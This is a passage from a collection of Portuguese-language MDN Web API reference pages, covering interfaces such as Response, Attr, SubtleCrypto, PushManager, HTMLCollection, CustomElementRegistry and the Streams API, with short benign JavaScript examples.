através da interface `ReadableStream` (en-US).\n\n`Body.bodyUsed` (en-US) Somente leitura \n\nArmazena um `Boolean` (en-US) que indica se o corpo já foi utilizado em uma resposta.\n\nMétodos\n-------\n\n`Response.clone()` (en-US)\n\nCria uma cópia do objeto `Response`.\n\n`Response.error()` (en-US)\n\nRetorna um novo objeto `Response` associado a um erro de rede.\n\n`Response.redirect()` (en-US)\n\nCria uma nova resposta com uma URL diferente.\n\n`Response` implementa `Body`, por isso também tem as seguintes propriedades disponíveis:\n\n`Body.arrayBuffer()` (en-US)\n\nRecebe um \"stream\" `Response` e lê até a conclusão. Retorna uma \"promise\" que resolve com um `ArrayBuffer`.\n\n`Body.blob()` (en-US)\n\nRecebe um \"stream\" `Response` e lê até a conclusão. Retorna uma \"promise\" que resolve com um `Blob`.\n\n`Body.formData()` (en-US)\n\nRecebe um \"stream\" `Response` e lê até a conclusão. Retorna uma \"promise\" que resolve com um objeto `FormData`.\n\n`Body.json()` (en-US)\n\nRecebe um \"stream\" `Response` e lê até a conclusão. Retorna uma \"promise\" que resolve com o resultado do parseamento do texto do corpo como `JSON`.\n\n`Body.text()` (en-US)\n\nRecebe um \"stream\" `Response` e lê até a conclusão. Retorna uma \"promise\" que resolve com um `USVString` (en-US) (texto).\n\nExemplos\n--------\n\nEm nosso exemplo básico fetch (executar exemplo live) nós usamos uma simples chamada `fetch()` para pegar uma imagem e exibi-la em uma tag `<img>`. A chamada `fetch()` retorna uma \"promise\", que resolve com o objeto `Response` associado com o recurso da operação \"fetch\". Você irá notar que como estamos solicitando uma imagem, nós precisamos executar `Body.blob` (en-US) (`Response` implementa o \"body\") para dar à resposta seu tipo MIME correto.\n\n\n```js\nvar myImage = document.querySelector(\".my-image\");\nfetch(\"flowers.jpg\")\n  .then(function (response) {\n    return response.blob();\n  })\n  .then(function (blob) {\n    var objectURL = URL.createObjectURL(blob);\n    myImage.src = objectURL;\n  });\n```\n\n\nVocê também pode usar o construtor `Response.Response()` (en-US) para criar seu objeto `Response` personalizado:\n\n\n```js\nvar myResponse = new Response();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # response-class |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* ServiceWorker API (en-US)\n* HTTP access control (CORS) (en-US)\n* HTTP"}
{"title":"Attr - APIs da Web","text":"Attr\n====\n\n\n Este tipo representa um atributo de elemento DOM como um objeto. Na maioria dos métodos DOM, você provavelmente irá retornar diretamente o atributo como uma string (e.g., `Element.getAttribute()`, mas certas funções (e.g., `Element.getAttributeNode()` (en-US)) ou meios de iteração retornam tipos `Attr`.\n\nEventTarget\n\nNode\n\nAttr\n\n**Aviso:** Começando no Gecko 7.0, os que serão removidos mostram mensagens de aviso no console. Você deve revisar seu código de acordo. Veja métodos e propriedades descontinuadas para uma lista completa.\n\nPropriedades\n------------\n\n`name` (en-US) Somente leitura \n\nO nome do Atributo.\n\n`namespaceURI` (en-US) Somente leitura \n\nUma `DOMString` representando o namespace URI do atributo, ou `null` se não há namespace\n\n`localName` Somente leitura \n\nUma `DOMString` representando a parte local do nome qualificado do atributo.\n\n`prefix` (en-US) Somente leitura \n\nUma `DOMString` representando o prefixo do namespace do atributo ou `null` se nenhum prefixo foi especificado.\n\n`ownerElement` (en-US) Somente leitura \n\nO elemento que possui o atributo.\n\n\n\n**Nota:** DOM Level 4 removeu esta propriedade. Foi suposto que como você recebe um objeto `Attr` de um `Element`, você já deve saber qual é o elemento associado.\n Como isto não é sempre verdadeiro em casos como objetos `Attr` sendo retornados pelo `Document.evaluate` (en-US), o DOM Living Standard reintroduziu a propriedade.\n\n\nGecko mostra uma mensagem de descontinuação começando no Gecko 7.0. Esta mensagem foi removida novamente no Gecko 49.0.\n\nPropriedades e métodos descontinuados\n-------------------------------------\n\nAs seguintes propriedades e métodos foram descontinuados. Quando disponíveis, são substituidas adequadamente.\n\n`attributes`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`childNodes`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`firstChild`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`lastChild`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`nextSibling`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`nodeName`\n\nUse `Attr.name` (en-US) no lugar.\n\n`nodeType`\n\nEsta propriedade agora sempre retorna 2 (`ATTRIBUTE_NODE`).\n\n`nodeValue`\n\nUse `Attr.value` (en-US) no lugar.\n\n`ownerDocument`\n\nProvavelmente você nunca utilizou isto, então você não se importa que isso vai desaparecer.\n\n`ownerElement`\n\nDesde que você obtenha o objeto `Attr` de um `Element`, você já conhece os elementos associados.\n\n`parentNode`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`previousSibling`\n\nEsta propriedade agora sempre retorna `NULL`.\n\n`specified`\n\nEsta propriedade agora sempre retorna `true`.\n\n`textContent`\n\nUse `Attr.value` (en-US) no lugar.\n\nOs seguintes métodos foram reprovados:\n\n`appendChild()`\n\nModifique o valor de `Attr.value` (en-US) no lugar.\n\n`cloneNode()`\n\nProvavelmente você nunca utilizou isto, então você não se importa que isso vai desaparecer.\n\n`createAttribute()`\n\nUse `Element.setAttribute()` no lugar.\n\n`createAttributeNS()`\n\nUse `Element.setAttributeNS()` no lugar.\n\n`getAttributeNode()`\n\nUse `Element.getAttribute()` no lugar.\n\n`getAttributeNodeNS()`\n\nUse `Element.getAttributeNS()` (en-US) no lugar.\n\n`hasAttributes()`\n\nEste método agora sempre retorna false.\n\n`hasChildNodes()`\n\nEste método agora sempre retorna false.\n\n`insertBefore()`\n\nModifique o valor de `Attr.value` (en-US) no lugar.\n\n`isEqualNode()`\n\nProvavelmente você nunca utilizou isto, então você não se importa que isso vai desaparecer.\n\n`normalize()`\n\nProvavelmente você nunca utilizou isto, então você não se importa que isso vai desaparecer.\n\n`removeAttributeNode()`\n\nUse `Element.removeAttribute()` no lugar.\n\n`removeChild()`\n\nModifique o valor de `Attr.value` (en-US) no lugar.\n\n`replaceChild()`\n\nModifique o valor de `Attr.value` (en-US) no lugar.\n\n`setAttributeNode()`\n\nUse `Element.setAttribute()` no lugar.\n\n`setAttributeNodeNS()`\n\nUse `Element.setAttributeNS()` no lugar.\n\nEspecificações\n--------------\n\n* Document Object Model Core level 3: Interface Attr\n* Document Object Model 4: Interface Attr"}
{"title":"CryptoKey - APIs da Web","text":"CryptoKey\n=========\n\nA interface **`CryptoKey`** representa uma key criptografada derivada de uma key de algoritmo definido.\n\nUm objeto **`CryptoKey`** pode ser obtido utilizando `SubtleCrypto.generateKey()`, `SubtleCrypto.deriveKey()` ou `SubtleCrypto.importKey()`\n\nPropriedades\n------------\n\n*Esta interface não herda nehunha propriedade.*\n\n`CryptoKey.type` (en-US)\n\nRetorna um valor enumerado representando o tipo da key, uma key secreta (para algoritmos simétricos), uma key pública ou privada (para algoritmos assimétricos).\n\n`CryptoKey.extractable` (en-US)\n\nRetorna um `Boolean` indicando se a informação bruta pode ser exportada para a aplicação ou não.\n\n`CryptoKey.algorithm` (en-US)\n\nRetorna um objeto opaco representando uma cifra em particular que deve ser utilizada com a key.\n\n`CryptoKey.usages` (en-US)\n\nRetorna uma matriz de valores enumerados indicando onde a key pode ser utilizada.\n\nMétodos\n-------\n\n*Esta interface não herda, nem implementa nenhum método.*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # cryptokey-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto` e `Crypto.subtle`.\n### Dicionário\n\n\"Key\" = \"Chave\""}
{"title":"SubtleCrypto - APIs da Web","text":"SubtleCrypto\n============\n\nA interface **`SubtleCrypto`** representa um conjunto de criptografias primitivas. E está disponível via propriedades `Crypto.subtle` disponíveis em uma janela de contexto (via `Window.crypto`).\n\n**Aviso:** Por especificação: \"Desenvolvedores fazendo uso da interface SubtleCrypto devem estar cientes das preocupações associadas com o design e a implementação de vários algoritmos providos. Os algoritmos brutos são providos em ordem para permitir aos desenvolvedores uma felixibilidade máxima na implementação de uma variedade de protocolos e aplicações, cada um deve representar a composição e os parâmetros de segurança em uma maneira única que necessita do uso de algoritmos brutos.\"\n\nPropriedades\n------------\n\n*Esta interface não herda e nem implementa nenhuma propriedade.*\n\nMétodos\n-------\n\nEsta interface não herda nenhum método\n\n`SubtleCrypto.encrypt()` (en-US)\n\nRetorna uma `Promise` da informação criptografada correspondente com o texto, algoritmo e chave key dados como parâmetros.\n\n`SubtleCrypto.decrypt()` (en-US)\n\nRetorna uma `Promise` da informação correspondente ao texto encriptografado, algoritmo e key dados como parâmetros.\n\n`SubtleCrypto.sign()` (en-US)\n\nRetorna uma `Promise` de uma assinatura correspondente ao texto, algoritmo e key dados como parâmetros.\n\n`SubtleCrypto.verify()` (en-US)\n\nRetorna uma `Promise` de um valor `Boolean` indicando se a assinatura dada como parâmetro combina com o texto, algoritmo e key também dados como parâmetros.\n\n`SubtleCrypto.digest()` (en-US)\n\nRetorna uma `Promise` de um resumo gerado a partir do algoritmo e texto dados como parâmetros.\n\n`SubtleCrypto.generateKey()`\n\nRetorna uma `Promise` de uma recentemente gerada `CryptoKey`, para algoritmos simétricos, ou uma `CryptoKeyPair` (en-US), contendo duas novas keys simétricas, para algoritmos assimétricos, que combina com o algoritmo, os usos e a extrabilidade dados como parâmetros.\n\n`SubtleCrypto.deriveKey()`\n\nRetorna uma `Promise` de uma recentemente gerada `CryptoKey` derivada de uma master key e um algoritmo específico dados como parâmetros.\n\n`SubtleCrypto.deriveBits()` (en-US)\n\nRetorna uma `Promise` de um buffer recentemente gerado de bits pseudo-randômicos derivados de uma master key e um algoritmo específico dados como parâmetros.\n\n`SubtleCrypto.importKey()`\n\nRetorna uma `Promise` de uma `CryptoKey` correspondente ao formato, o algoritmo, a informação da key bruta, o uso e a extrabilidade dados como parâmetros.\n\n`SubtleCrypto.exportKey()` (en-US)\n\nRetorna uma `Promise` deu uma buffer contendo a key no formato requisitado.\n\n`SubtleCrypto.wrapKey()` (en-US)\n\nRetorna uma `Promise` de uma key envolvida simetricamente para uso (transferência, armazenamento) em ambientes não seguros. O buffer envolvido retornado será no formato dado nos parâmetros, e contém a key envolvida com a key envolvendo e o algoritmo dado.\n\n`SubtleCrypto.unwrapKey()` (en-US)\n\nRetorna uma `Promise` de uma `CryptoKey` correspondente à key envolvida dada como parâmetro.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # subtlecrypto-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Crypto` e `Crypto.subtle`."}
{"title":"AnimationEvent - APIs da Web","text":"AnimationEvent\n==============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`AnimationEvent`** representa eventos provendo informações relacionadas a animações.\n\n`Event\n\nAnimationEvent`\n\nPropriedades\n------------\n\n*Também propriedades herdadas pelo pai ``Event``*.\n\n``AnimationEvent.animationName` Somente leitura` \n\nO `DOMString` contém o valor do `animation-name` (en-US) propriedade CSS associada com a transição.\n\n``AnimationEvent.elapsedTime` Somente leitura` \n\n`É um ponto flutuante` dado pela quantidade de tempo que a animação está rodando, em segundos, quando esse evento termina, excluindo o tempo em que animação esteve pausada. Para o evento `\"animationstart\"`, `elapsedTime` é `0.0` a não ser que haja um valor negativo para ``animation-delay``, nesse caso o evento terminará com `elapsedTime` contendo `(-1 * delay )`.\n\n``AnimationEvent.pseudoElement` Somente leitura` \n\nUm ``DOMString`` começa com `'::'`, contendo o nome do pseudo-elemento onde a animação roda. Se a animação não rodar no pseudo-elemento mas no elemento, então teremos um *string* vazio `' '`.\n\nConstructores\n-------------\n\n``AnimationEvent()``\n\nCria um evento `AnimationEvent` com os dados parâmetros.\n\nMétodos\n-------\n\n*Também herda métodos do pai ``Event``*.\n\n``AnimationEvent.initAnimationEvent()` \nNon-standard\n\nDeprecated`\n\nInicializa um `AnimationEvent` criado usando diminuído `Document.createEvent(\"AnimationEvent\")` (en-US) método.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Animations Level 1 # interface-animationevent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando animações CSS"}
{"title":"PushManager - APIs da Web","text":"PushManager\n===========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA `PushManager`interface da API Push fornece uma maneira de receber notificações de servidores de terceiros, bem como solicitar URLs para notificações push.\n\nEssa interface é acessada através da propriedade `ServiceWorkerRegistration.pushManager` (en-US).\n\n**Nota:** : Esta interface substitui a funcionalidade anteriormente oferecida pela interface obsoleta `PushRegistrationManager`.\n\nPropriedades\n------------\n\n`PushManager.supportedContentEncodings` (en-US)\n\nRetorna uma série de codificações de conteúdo suportadas que podem ser usadas para criptografar a carga útil de uma mensagem push.\n\nMétodos\n-------\n\n`PushManager.getSubscription ()`\n\nRecupera uma assinatura de envio existente. Retorna uma `Promise` que resolve um objeto `PushSubscription` (en-US) contendo detalhes de uma assinatura existente. Se não existe uma subscrição existente, isso resolve um `null`valor.\n\n`PushManager.permissionState ()`\n\nRetorna uma `Promise` que resolve para o estado de permissão do atual `PushManager`, que será um dos `'granted'`, `'denied'`ou `'prompt'`.\n\n`PushManager.subscribe ()`\n\nAssine um serviço push. Retorna uma `Promise` que resolve um objeto `PushSubscription` (en-US) contendo detalhes de uma inscrição de envio. Uma nova assinatura de envio é criada se o trabalhador de serviço atual não tiver uma assinatura existente.\n\n### Métodos depreciados\n\n`PushManager.hasPermission ()` \nDeprecated\n\nRetorna uma `Promise` que resolve para o `PushPermissionStatus`do webapp requerente, que será um dos `granted`, `denied`ou `default`. Substituído por `PushManager.permissionState ()`.\n\n`PushManager.register ()` \nDeprecated\n\nAssina uma assinatura de envio. Substituído por `PushManager.subscribe ()`.\n\n`PushManager.registrations ()` \nDeprecated\n\nRecupera as assinaturas de envio existentes. Substituído por `PushManager.getSubscription ()`.\n\n`PushManager.unregister ()` \nDeprecated\n\nAnula e exclui um ponto final de assinatura especificado. Na API atualizada, uma assinatura não está registrada chamando o método `PushSubscription.unsubscribe ()`.\n\nExemplo\n-------\n```\n\nthis.onpush = function(event) {\n  console.log(event.data);\n  // From here we can write the data to IndexedDB, send it to any open\n  // windows, display a notification, etc.\n}\n\nnavigator.serviceWorker.register('serviceworker.js').then(\n  function(serviceWorkerRegistration) {\n    serviceWorkerRegistration.pushManager.subscribe().then(\n      function(pushSubscription) {\n        console.log(pushSubscription.subscriptionId);\n        console.log(pushSubscription.endpoint);\n        // The push subscription details needed by the application\n        // server are now available, and can be sent to it using,\n        // for example, an XMLHttpRequest.\n      }, function(error) {\n        // During development it often helps to log errors to the\n        // console. In a production environment it might make sense to\n        // also report information about errors back to the\n        // application server.\n        console.log(error);\n      }\n    );\n  });\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Push API # pushmanager-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* API de envio\n* API do Worker Service"}
{"title":"HTMLDivElement - APIs da Web","text":"HTMLDivElement\n==============\n\nA interface `HTMLDivElement` fornece propriedades especiais ( além da interface normal `HTMLElement` (en-US) que também está a sua disposição por herança ) para manipular elementos div.\n\nPropriedades\n------------\n\n*As propriedades são herdadas de seu pai, `HTMLElement` (en-US).*\n\n| Nome | Tipo | Descrição |\n| --- | --- | --- |\n| `align` | `DOMString` | Propriedade enumerada indicando alinhamento dos conteúdos do elemento, respeitando ao contexto geral. Os valores possíveis são `\"left\"`, `\"right\"`, `\"justify\"`, e`\"center\"`. |\n\nMétodos\n-------\n\n*Nenhum método específico; os métodos são herdados de seu pai, `HTMLElement` (en-US).*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # htmldivelement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* O elemento HTML implementar essa interface: `<div>`."}
{"title":"HTMLCollection - APIs da Web","text":"HTMLCollection\n==============\n\nA interface **`HTMLCollection`** representa uma coleção genérica (objeto array) de elementos (na ordem em que aparecem no documento) e oferece métodos e propriedades para selecioná-los da lista.\n\n**Nota:** Esta interface é chamada `HTMLCollection` por razões históricas (antes do DOM4, coleções implementadas por esta interface somente podiam ter elementos HTML).\n\nUma coleção `HTMLCollection` de um HTML DOM está linkada com o documento; ela será automaticamente atualizada quando o documento for modificado.\n\nPropriedades\n------------\n\n`HTMLCollection.length` (en-US) Somente leitura \n\nRetorna o número de itens da coleção.\n\nMétodos\n-------\n\n`HTMLCollection.item()` (en-US)\n\nRetorna um nó especificado por `index` da lista. o primeiro index da lista é 0. Retorna `null` se `index` não existir na lista.\n\n`HTMLCollection.namedItem()` (en-US)\n\nRetorna o nó especificado pelo ID ou, caso não tenha ID, o item cuja propriedade `name` seja igual à pesquisa. Pesquisa por `name` só é feita em último caso, somente em HTML, e somente se os elementos referenciados suportarem o atributo `name`. Retorna `null` se nenhum nó corresponder ao nome pesquisado.\n\nUso no JavaScript\n-----------------\n\n`HTMLCollection` expõe seus membros diretamente como propriedades, tanto por nome quanto por índice. IDs HTML podem conter : e . como caracteres válidos, o que fará necessária a utilização de colchetes para acessar as propriedades. Atualmente HTMLCollection não reconhece IDs puramente numéricos, o que pode causar conflitos com acesso em formato array, apesar do HTML5 os permitir.\n\nPor exemplo, assumindo que há um elemento `<form>` no documento e seu `id` é `\"myForm\"`:\n\n\n```js\nvar elem1, elem2;\n\n// document.forms é um HTMLCollection\n\nelem1 = document.forms[0];\nelem2 = document.forms.item(0);\n\nalert(elem1 === elem2); // exibe: \"true\"\n\nelem1 = document.forms.myForm;\nelem2 = document.forms.namedItem(\"myForm\");\n\nalert(elem1 === elem2); // exibe: \"true\"\n\nelem1 = document.forms[\"named.item.with.periods\"];\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nDiferentes browsers se comportam de maneira diferente quando um os mais elementos são pesquisados pela string utilizada como índice (ou o argumento namedItem). Firefox 8 se comporta como especificado no DOM 2 e no DOM 4, retornando o primeiro elemento encontrado. WebKit browsers e o Internet Explorer, neste caso, retornam outro HTMLCollection e o Opera retorna um `NodeList` com todos os elementos encontrados.\n\nEspecificações\n--------------\n\n* DOM Level 2 HTML, Section 1.4, Miscellaneous Object Definitions\n* DOM4: HTMLCollection\nVeja também\n-----------\n\n* `NodeList`\n* `HTMLFormControlsCollection` (en-US), `HTMLOptionsCollection` (en-US)"}
{"title":"CustomElementRegistry - APIs da Web","text":"CustomElementRegistry\n=====================\n\nLimited availability\n--------------------\n\nThis feature is not Baseline because it does not work in some of the most widely-used browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA interface **`CustomElementRegistry`** provê métodos para registro de elementos customizados e busca de elementos registrados. Para instancia-lo, use a propriedade `window.customElements` (en-US).\n\nMétodos\n-------\n\n`CustomElementRegistry.define()`\n\nDefine um novo elemento customizado (en-US).\n\n`CustomElementRegistry.get()`\n\nRetorna o construtor do nome do elemento informado, ou `undefined` caso não tenha sido definido.\n\n`CustomElementRegistry.whenDefined()`\n\nRetorna um `promise` vazio que é resolvido quando o elemento customizado é inserido. Se o elemento já foi definido, o retorno ja é informado.\n\nExemplos\n--------\n\nO código a seguir foi pego do nosso word-count-web-component exemplo (veja em ação). Perceba que usamos o método `CustomElementRegistry.define()` para definir um elemento customizado.\n\n\n```js\n// Cria uma classe para o elemento\nclass WordCount extends HTMLParagraphElement {\n  constructor() {\n    // Sempre execute primeiro o método super\n    super();\n\n    // Conta as palavras no elemento pai\n    var wcParent = this.parentNode;\n\n    function countWords(node) {\n      var text = node.innerText || node.textContent;\n      return text.split(/\\s+/g).length;\n    }\n\n    var count = \"Words: \" + countWords(wcParent);\n\n    // Cria um shadow root\n    var shadow = this.attachShadow({ mode: \"open\" });\n\n    // Cria um nó de texto e adiciona o contador de palavra nele\n    var text = document.createElement(\"span\");\n    text.textContent = count;\n\n    // Acrescenta ao shadow root\n    shadow.appendChild(text);\n\n    // Atualiza o contador quando houver mudança\n    setInterval(function () {\n      var count = \"Words: \" + countWords(wcParent);\n      text.textContent = count;\n    }, 200);\n  }\n}\n\n// Define um novo elemento\ncustomElements.define(\"word-count\", WordCount, { extends: \"p\" });\n```\n\n\n**Nota:** Note: The CustomElementsRegistry is available through the `Window.customElements` (en-US) property.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # custom-elements-api |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"API Push - APIs da Web","text":"API Push\n========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA **API Push** torna possível que aplicações web recebam mensagens enviadas a elas de um servidor, indepententemente de aplicação estar ou não em primeiro plano, ou até mesmo carregada, em um agente de usuário. Isso permite que desenvolvedores entreguem notificações e atualizações assíncronas a usuários que optarem por elas, resultando num melhor engajamento com conteúdo novo oportuno.\n\n**Nota:** Esta documentação cobre a especificação W3C da API Push; se você procura pela documentação do sistema de notificação proprietária do mecanismo push, veja Simple Push.\n\nConceitos e uso de Push\n-----------------------\n\nPara uma aplicação receber mensagens push, ela precisa ter um service worker (en-US) ativo. Quando o service worker está ativo, ele pode se inscrever para utilizar notificações push `PushManager.subscribe()` (en-US).\n\nO resultado de `PushSubscription` (en-US) inclui toda informação que a aplicação precisa para receber uma mensagem push: um endpoint e a chave encriptada necessária para o envio de dados.\n\nO service worker será iniciado conforme o necessário para lidar com as mensagens recebidas, que são entregues ao manipulador de evento `ServiceWorkerGlobalScope.onpush` . Isto permite que a aplicação reaja a cada mensagem recebida, por exemplo para exibir a notificação ao usuário (usando `ServiceWorkerRegistration.showNotification()` (en-US).)\n\nCada assinatura é única para um service worker. O endpoint para a assinatura é uma capability URL única: o conhecimento do endpoint é tudo que é necessário para enviar uma mensagem para sua aplicação. A URL do endpoint precisa ser mantida em segredo, ou outras aplicações estranhas poderão enviar mensagens push para a sua aplicação.\n\nA ativação de um service worker para entregar mensagens push pode resultar em um aumento de uso de recursos, particularmente de bateria. Diferentes navegadores tem diferentes formas para lidar com isso — atualmente não existe uma forma padrão. Firefox permite um número limitado (cota) de mensagens push para serem enviadas para uma aplicação, embora as mensagens Push que gerem notificações são isentas deste limite. O limite é atualizado a cada site visitado. Numa comparação, Chrome não aplica nenhum limite, mas requer que cada mensagem push exiba uma notificação.\n\n**Nota:** A partir do Gecko 44, a cota permitida de mensagens push por aplicação não é incrementada quando uma nova notificação é disparada quando outra está visível, por um período de três segundos. Isso lida com casos em que várias notificações são recebidas ao mesmo tempo, mas nem todas estão visíveis.\n\n**Nota:** Chrome atualmente requer que você crie um projeto no Google Cloud Messaging para enviar mensagens push e use um número do projeto e chave da API para o envio de notificações push. Isto também requer um *app manifest* com alguns parâmetros especiais para usar o serviço. Essa restrição deverá ser removida no futuro.\n\nInterfaces\n----------\n\n`PushEvent` (en-US)\n\nRepresenta uma ação push enviada para o global scope (en-US) de um `ServiceWorker` (en-US). Ele contém informações enviadas de uma aplicação para um `PushSubscription` (en-US).\n\n`PushManager`\n\nFornece uma forma de receber notificações de servidor third-party bem como solicitar URL para notificações push. Essa interface substitui a funcionalidade oferecida que está obsoleta `PushRegistrationManager` interface.\n\n`PushMessageData` (en-US)\n\nFornece acesso aos dados push enviados por um servidor, e inclui métodos para manipular os dados recebidos.\n\n`PushSubscription` (en-US)\n\nFornece a URL de assinatura do endpoint e permite o cancelamento da assinatura de um serviço push.\n\nService worker additions\n------------------------\n\nAs seguintes informações adicionais para a Service Worker API foram especificadas na Push API spec, para fornecer um ponto de entrada para usar mensagens Push, e para monitorar e responder os eventos de envio e assinatura.\n\n`ServiceWorkerRegistration.pushManager` (en-US) Somente leitura \n\nRetorna uma referência para a interface `PushManager` para administrar assinaturas push incluindo subscrever, obter uma assinatura ativa e acessar o status de permissão de envio. Este é o ponto de entrada para usar mensagens Push.\n\n`ServiceWorkerGlobalScope.onpush`\n\nUm manipulador de eventos disparado sempre que um evento `push` ocorre; isto é, sempre que uma mensagem do servidor de envio for recebida.\n\n`ServiceWorkerGlobalScope.onpushsubscriptionchange`\n\nUm manipulador de eventos disparado sempre que um evento `pushsubscriptionchange` ocorre; por exemplo, quando uma assinatura push está inválida, ou está prestes a ser invalidada (ex. quando um serviço push service define um tempo de expiração.)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Push API # pushevent-interface |\n| Push API # pushmessagedata-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.PushEvent\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.PushMessageData\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando Push API (en-US)\n* Push API Demo, no Github\n* Push Notifications on the Open Web, Matt Gaunt\n* Service Worker API"}
{"title":"Streams API - APIs da Web","text":"Streams API\n===========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA API Streams permite que o JavaScript acesse programaticamente fluxos de dados recebidos pela rede e os processe conforme desejado pelo desenvolvedor.Conceitos e Uso\n---------------\n\nO streaming envolve a divisão de um recurso que você deseja receber pela rede em pequenos blocos e, em seguida, processa esses blocos aos poucos. Isso é algo que os navegadores fazem de qualquer maneira ao receber recursos para serem exibidos em páginas da web — o buffer de vídeos e mais está gradualmente disponível para reprodução, e às vezes você verá imagens sendo exibidas gradualmente conforme mais é carregado.\n\nMas isto nunca esteve disponível para JavaScript antes. Anteriormente, se quiséssemos processar um recurso de algum tipo (seja ele um vídeo, ou um arquivo de texto, etc.), Teríamos que baixar o arquivo inteiro, espera até que seja desserializado em um formato adequado, então processa todo o lote após ser totalmente recebido.\n\nCom o Streams disponível para JavaScript, tudo isso muda - agora você pode começar a processar dados brutos com JavaScript bit a bit assim que estiverem disponíveis no lado do cliente, sem a necessidade de gerar um buffer, string ou blob.\n\n![](/pt-BR/docs/Web/API/Streams_API/concept.png)\n\nTambém há mais vantagens - você pode detectar quando os fluxos começam ou terminam, encadeia os fluxos juntos, trata os erros e cancela os fluxos quando necessário e reage à velocidade em que o fluxo está sendo lido.\n\nO uso básico de Streams gira em torno de tornar as respostas disponíveis como streams. Por exemplo, a resposta `Body` retornada com sucesso de uma fetch request pode ser exposta como um `ReadableStream` (en-US), e você pode lê-lo usando um leitor criado com `ReadableStream.getReader()` (en-US), cancela-lo com `ReadableStream.cancel()` (en-US), etc.\n\nUsos mais complicados envolvem a criação de seu próprio fluxo usando o contrutor `ReadableStream()` (en-US), por exemplo para processar dados dentro de um service worker.\n\nVocê também pode gravar dados em streams usando `WritableStream` (en-US).\n\n**Nota:** Você pode encontrar muito mais detalhes sobre a teoria e prática de streams em nossos artigos — Streams API concepts, Using readable streams (en-US), e Using writable streams (en-US).\n\nStream interfaces\n-----------------\n\n### Readable streams\n\n`ReadableStream` (en-US)\n\nRepresents a readable stream of data. It can be used to handle response streams of the Fetch API, or developer-defined streams (e.g. a custom `ReadableStream()` (en-US) constructor).\n\n`ReadableStreamDefaultReader` (en-US)\n\nRepresents a default reader that can be used to read stream data supplied from a network (e.g. a fetch request).\n\n`ReadableStreamDefaultController` (en-US)\n\nRepresents a controller allowing control of a `ReadableStream` (en-US)'s state and internal queue. Default controllers are for streams that are not byte streams.\n\n### Writable streams\n\n`WritableStream` (en-US)\n\nProvides a standard abstraction for writing streaming data to a destination, known as a sink. This object comes with built-in backpressure and queuing.\n\n`WritableStreamDefaultWriter` (en-US)\n\nRepresents a default writable stream writer that can be used to write chunks of data to a writable stream.\n\n`WritableStreamDefaultController` (en-US)\n\nRepresents a controller allowing control of a `WritableStream` (en-US)'s state. When constructing a `WritableStream`, the underlying sink is given a corresponding `WritableStreamDefaultController` instance to manipulate.\n\n### Related stream APIs and operations\n\n`ByteLengthQueuingStrategy` (en-US)\n\nProvides a built-in byte length queuing strategy that can be used when constructing streams.\n\n`CountQueuingStrategy` (en-US)\n\nProvides a built-in chunk counting queuing strategy that can be used when constructing streams.\n\n### Extensions to other APIs\n\n`Request`\n\nWhen a new `Request` object is constructed, you can pass it a `ReadableStream` (en-US) in the `body` property of its `RequestInit` dictionary. This `Request` could then be passed to a `WindowOrWorkerGlobalScope.fetch()` to commence fetching the stream.\n\n`Body`\n\nThe response `Body` returned by a successful fetch request is exposed by default as a `ReadableStream` (en-US), and can have a reader attached to it, etc.\n\n### ByteStream-related interfaces\n\n**Aviso:** **Important**: these are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.\n\n`ReadableStreamBYOBReader` (en-US)\n\nRepresents a BYOB (\"bring your own buffer\") reader that can be used to read stream data supplied by the developer (e.g. a custom `ReadableStream()` (en-US) constructor).\n\n`ReadableByteStreamController` (en-US)\n\nRepresents a controller allowing control of a `ReadableStream` (en-US)'s state and internal queue. Byte stream controllers are for byte 